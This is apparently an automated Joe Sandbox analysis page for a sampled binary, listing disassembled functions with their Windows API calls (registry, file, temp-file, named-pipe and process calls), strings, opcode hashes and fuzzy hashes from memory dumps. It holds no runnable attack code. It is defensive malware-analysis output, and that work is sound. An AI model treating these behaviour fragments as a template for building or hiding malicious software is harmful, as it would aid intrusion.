Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: EnvironmentVariable$ErrorLast
String ID: UserDomain
API String ID: 1936246020-2275544873
Opcode ID: 02e3ae3f2234eacc1f4c79d967d6fb0bbab5de5cc0e42b3ebf40344940e0c7f6
Instruction ID: c45f83a2478a9d98dc9b72089be4cc0f316de695a05216e248af52cee6ede6bf
Opcode Fuzzy Hash: 02e3ae3f2234eacc1f4c79d967d6fb0bbab5de5cc0e42b3ebf40344940e0c7f6
Instruction Fuzzy Hash: 27610970A10218DFDB24DFA8C855BEEBBF4FF08304F50452DE401A7280DBB56A4ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C022E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,7E4AB622,?,?,?,00000000,?,Function_001C1810,000000FF), ref: 00C02323
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW,?,?,?,00000000,?,Function_001C1810,000000FF), ref: 00C0234C

Strings

Advapi32.dll, xrefs: 00C0231E
RegCreateKeyTransactedW, xrefs: 00C02346

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1646373207-2994018265
Opcode ID: bfed4a068538592b2100d2c1a9a9d54f1834f2d966dcbdfd5e11e4c5c292e72f
Instruction ID: 5b673115a4b4265118d77ead3a5978a29b0caa4804870a10e84ed3b74f4d8677
Opcode Fuzzy Hash: bfed4a068538592b2100d2c1a9a9d54f1834f2d966dcbdfd5e11e4c5c292e72f
Instruction Fuzzy Hash: A531A072644209FFEB248F45CC49FAABBACFB58750F10412AFA15DB2D0D775A910CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00BE1BB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,7E4AB622,?,?,?,?,?,Function_001C1810,000000FF,?,00C13D2C,?,?,000000FF), ref: 00BE1BF3
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW,?,?,?,Function_001C1810,000000FF,?,00C13D2C,?,?,000000FF), ref: 00BE1C1C

Strings

RegOpenKeyTransactedW, xrefs: 00BE1C16
Advapi32.dll, xrefs: 00BE1BEE

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 1646373207-3913318428
Opcode ID: 02816fda3b9ca9ea499be163975a69ea1bfc6d248cfc7bb6d2e213c2c447527c
Instruction ID: 26e3defaaa35c39b24845fda3b6ceb8e69160115cde2056b8a37a78a5d07496f
Opcode Fuzzy Hash: 02816fda3b9ca9ea499be163975a69ea1bfc6d248cfc7bb6d2e213c2c447527c
Instruction Fuzzy Hash: 1B21B272A44345EFDB148F5ADC44BAABBF9FB48750F20856AF915DB380D771A810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C2E010 Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,7E4AB622,?,00000010,?,00C313D0,?), ref: 00C2E076
SetFilePointer.KERNEL32(00000000,?,00000010,00000000), ref: 00C2E0BF
ReadFile.KERNEL32(00000000,7E4AB622,?,?,00000000,00000078,?), ref: 00C2E101
CloseHandle.KERNEL32(00000000), ref: 00C2E17A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$CloseCreateHandlePointerRead
String ID:
API String ID: 4133201480-0
Opcode ID: 8ef4e506894fecc71406ff7d23481f2abfdddb71872102254ac01ad219f6e1c6
Instruction ID: 7a14bcdd88f212c08c917bd32ffe5be0daee3e6f1a6fd8cf1b4dbb53e94fd53b
Opcode Fuzzy Hash: 8ef4e506894fecc71406ff7d23481f2abfdddb71872102254ac01ad219f6e1c6
Instruction Fuzzy Hash: 0F517F70900619EBDB11CB98CD48BEEFBB8EF45324F148259E421AB3D1D7749E45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C16350 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

_wcschr.LIBVCRUNTIME ref: 00C16502

Strings

\\?\, xrefs: 00C164C8, 00C164CE
\\?\UNC\, xrefs: 00C163E1, 00C16459, 00C1645F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess_wcschr
String ID: \\?\$\\?\UNC\
API String ID: 978982089-3019864461
Opcode ID: c69861d799dc6567c06111a9fbbf89cd3aa5ca2b50f68e984ccc2ca4a3ddf09b
Instruction ID: 868d69001ceefd6678156c80c97483d1740c656d67a53aea1e061363f6541090
Opcode Fuzzy Hash: c69861d799dc6567c06111a9fbbf89cd3aa5ca2b50f68e984ccc2ca4a3ddf09b
Instruction Fuzzy Hash: CBC16B71A0060A9FDB00DBA8C845BEEF7F9FF45314F148269E425E72D1EB749A44DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F610 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C1F280: GetTempPathW.KERNEL32(00000104,?), ref: 00C1F369
Part of subcall function 00C1F280: GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 00C1F39A
Part of subcall function 00C1F280: Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 00C1F3CD

GetLastError.KERNEL32(?,00000000), ref: 00C1F6CE
DeleteFileW.KERNEL32(?), ref: 00C1F6E1

Strings

Shlwapi.dll, xrefs: 00C1F610, 00C1F648

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: FileTempWow64$DeleteDisableErrorLastNamePathRedirection
String ID: Shlwapi.dll
API String ID: 145603228-1687636465
Opcode ID: 56b77c50ccd1d125d1e402aa844e087d6ab2ad454a4fe47ad985ce288742caf9
Instruction ID: fa2db84097576684a0b92c36be5bea40f11ea24ff1c65ed0592ed76336b6830e
Opcode Fuzzy Hash: 56b77c50ccd1d125d1e402aa844e087d6ab2ad454a4fe47ad985ce288742caf9
Instruction Fuzzy Hash: 78315DB1901209EBDB10CFA5DD45BEEBBB8EF09310F14412AF815E3290DB359A45DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8EF1 Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,?,00B25767,?,?,00B25514,?), ref: 00CA8EF6
HeapAlloc.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8EFD
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00B25514,?), ref: 00CA8F43
HeapFree.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8F4A

Part of subcall function 00CA8D8F: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00CA8F39,00000000,?,?,00B25514,?), ref: 00CA8DB3
Part of subcall function 00CA8D8F: HeapAlloc.KERNEL32(00000000,?,?,00B25514,?), ref: 00CA8DBA

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 40b07a82d098e7c95fe3e578f7b774b5531d6e6a0736527d6ae362afc5ef3bab
Instruction ID: 2634b7677cb7d0692d312b1f24c9b813aa3e323e7c722de827f55c40ca9bc245
Opcode Fuzzy Hash: 40b07a82d098e7c95fe3e578f7b774b5531d6e6a0736527d6ae362afc5ef3bab
Instruction Fuzzy Hash: 02F02432605703CFC7302BF87D0CA5E2A66AFA27967114028F112C2340EF30CC068B70

Uniqueness

Uniqueness Score: -1.00%

Function 00B1F9C0 Relevance: 4.8, APIs: 3, Instructions: 256fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,00000000,00000000,?,7E4AB622,?,00000000), ref: 00B1FA32
MoveFileW.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 00B1FC45

Part of subcall function 00B1F9C0: DeleteFileW.KERNEL32(?), ref: 00B1FC8F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$DeleteMoveNameTemp
String ID:
API String ID: 788073729-0
Opcode ID: e5b9eb002a28ec69eba4890732292111132576806b6b76af95602d88a99b9fe7
Instruction ID: bb5a5a1a30897a7d1fd6477dfe2018a70be8b5b328a05540c3b41d4adf926556
Opcode Fuzzy Hash: e5b9eb002a28ec69eba4890732292111132576806b6b76af95602d88a99b9fe7
Instruction Fuzzy Hash: 74C16670D14269DADB24DF28CD987EDBBB4BF14304F5042D9D409A7291EBB92B88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00CC2D3B Relevance: 4.7, APIs: 3, Instructions: 202COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00CC2EEA

Part of subcall function 00CC1737: HeapAlloc.KERNEL32(00000000,00CC9290,?,?,00CC9290,00000220,?,?,?), ref: 00CC1769

__freea.LIBCMT ref: 00CC2EFF
__freea.LIBCMT ref: 00CC2F0F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 5b46de843c1195f4e423e9e9dd20ffa2f1f9c9b985cc66b87d68e8e4bcb4ba08
Instruction ID: abc9090542db229da7be18af22ce5fec5a06d0eb9a603f75bed682bf2d95d7e4
Opcode Fuzzy Hash: 5b46de843c1195f4e423e9e9dd20ffa2f1f9c9b985cc66b87d68e8e4bcb4ba08
Instruction Fuzzy Hash: 5051C17260021AAFEB209EA4CC81FBB7AA9EF05354B19012DFD19E7150EB30CE50E760

Uniqueness

Uniqueness Score: -1.00%

Function 00C386E0 Relevance: 4.7, APIs: 3, Instructions: 191fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,7E4AB622,?,?), ref: 00C38747
ReadFile.KERNEL32(?,00000000,00000018,?,00000000), ref: 00C38854

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 71f877b66dd180dc9e2d1921be6d5d8cc96d97bbccfd3cbe0c6a497b4340a54e
Instruction ID: 29c7bde8fd455869c368225f61b882c79acb3e5b8ae377a490ec16705d824e15
Opcode Fuzzy Hash: 71f877b66dd180dc9e2d1921be6d5d8cc96d97bbccfd3cbe0c6a497b4340a54e
Instruction Fuzzy Hash: A1615E71D00609EFDB14DFA8D945B9DFBB4FF09320F10826AE825A7790DB75AA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C35C70 Relevance: 4.7, APIs: 3, Instructions: 183fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,7E4AB622,?,00000000,?,80004005,?,00000000), ref: 00C35D0E
GetLastError.KERNEL32 ref: 00C35D46
GetLastError.KERNEL32(?), ref: 00C35DDF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLast$CreateFile
String ID:
API String ID: 1722934493-0
Opcode ID: 988e468b63c1b222086d6fb9b19e36a1f4eb243ec2ed9da30ce8f3ba9c5e0aa9
Instruction ID: 2ea5e50fec8f529852dfcf767550f96e8c27a9b397ea7f78d9948afe2a756788
Opcode Fuzzy Hash: 988e468b63c1b222086d6fb9b19e36a1f4eb243ec2ed9da30ce8f3ba9c5e0aa9
Instruction Fuzzy Hash: 6651B171A00B05DFDB20DF68D845B9AF7B1FF44320F108669E929D73A0EB71AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C62330 Relevance: 4.6, APIs: 3, Instructions: 109fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00C63084,40000000,00000001,00000000,00000002,00000080,00000000,7E4AB622,00000001,?), ref: 00C62392
WriteFile.KERNEL32(00000000,0000C800,0000C800,0000C800,00000000,?,0000C800), ref: 00C62428
CloseHandle.KERNEL32(00000000,?,0000C800), ref: 00C6245F

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d4f4aad5bf842c3188bda198771b86122293f5a011c0057104172dbe8c590eef
Instruction ID: bfcbceeba13fd973a44664cd75c805495fcfee94a459815c75966dfb0e9cc07a
Opcode Fuzzy Hash: d4f4aad5bf842c3188bda198771b86122293f5a011c0057104172dbe8c590eef
Instruction Fuzzy Hash: 804103B1910219EBDB10DF99DD84BEEBBF8FF58314F24416AE900B7290DB755A048BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CBE9ED Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00CBE9E7,?,?,?,?,7E4AB622), ref: 00CBE9FE
TerminateProcess.KERNEL32(00000000,?,00CBE9E7,?,?,?,?,7E4AB622), ref: 00CBEA05
ExitProcess.KERNEL32 ref: 00CBEA17

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1037f702915a5133ac49c64b7c5f7f8edd09f544bf16716d2b9fcc57f5aa2238
Instruction ID: 23e1e87340323eff055ffa3a0f01dc3f737939cc3efd62378a8f9956f6df79a3
Opcode Fuzzy Hash: 1037f702915a5133ac49c64b7c5f7f8edd09f544bf16716d2b9fcc57f5aa2238
Instruction Fuzzy Hash: AED09231010208EFCF217FA0DD0E9DE3F2EBF51786B045110B9199A272CF319E97AAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C36150 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00C3656D

Strings

.msi, xrefs: 00C36541, 00C36553, 00C3655B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: _wcsrchr
String ID: .msi
API String ID: 1752292252-299543723
Opcode ID: d2b1e47d4510d7753cbc455555752bcd1c3d01e3aeb4ffa806222646f5856e99
Instruction ID: f48def791bfc4ae67c6c14d32228457f4293ff00838b912ca4ff15b293180845
Opcode Fuzzy Hash: d2b1e47d4510d7753cbc455555752bcd1c3d01e3aeb4ffa806222646f5856e99
Instruction Fuzzy Hash: 40E1E170A1064AEFDB14DF68C844BAEBBF5FF04314F048669F821A7291DB75EA14DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C2E4A0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

Part of subcall function 00C2E310: GetTickCount.KERNEL32(0000001A,7E4AB622), ref: 00C2E394
Part of subcall function 00C2E310: __Xtime_get_ticks.LIBCPMT ref: 00C2E39C
Part of subcall function 00C2E310: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C2E3E6

Part of subcall function 00C4F190: GetLastError.KERNEL32 ref: 00C4F224
Part of subcall function 00C4F190: GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 00C4F2A2
Part of subcall function 00C4F190: GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000,00000000,00000000), ref: 00C4F2EC

__Init_thread_footer.LIBCMT ref: 00C2E5E1

Strings

\/:*?"<>|, xrefs: 00C2E5A3

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: EnvironmentVariable$CountErrorInit_thread_footerLastTickUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID: \/:*?"<>|
API String ID: 1610684550-3830478854
Opcode ID: 79d9510afcfb118932976fe7f9be5f1b0b11d1feee3b6086e7f32cea80cdf3f9
Instruction ID: 71f8c4236ee63df8e5853b34c52955c5a060d4337a96afa980b1242477f957c9
Opcode Fuzzy Hash: 79d9510afcfb118932976fe7f9be5f1b0b11d1feee3b6086e7f32cea80cdf3f9
Instruction Fuzzy Hash: 26E19A70D00268DFDB20DF68C855BEEBBB0BF55304F544299E409AB391DBB45A89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C50E70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,7E4AB622,?,00000010,?,?,00CD422E,000000FF), ref: 00C50EF8

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

Part of subcall function 00C50D10: ConnectNamedPipe.KERNEL32(?,00000000,7E4AB622,?,000000FF,?,?,00000000,00D1ABD6,000000FF,?,00C50F2A,000000FF,?,00000001), ref: 00C50D4C
Part of subcall function 00C50D10: GetLastError.KERNEL32(?,?,00000000,00D1ABD6,000000FF,?,00C50F2A,000000FF,?,00000001), ref: 00C50D56

Strings

\\.\pipe\ToServer, xrefs: 00C50FB4, 00C50FC5, 00C50FCF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
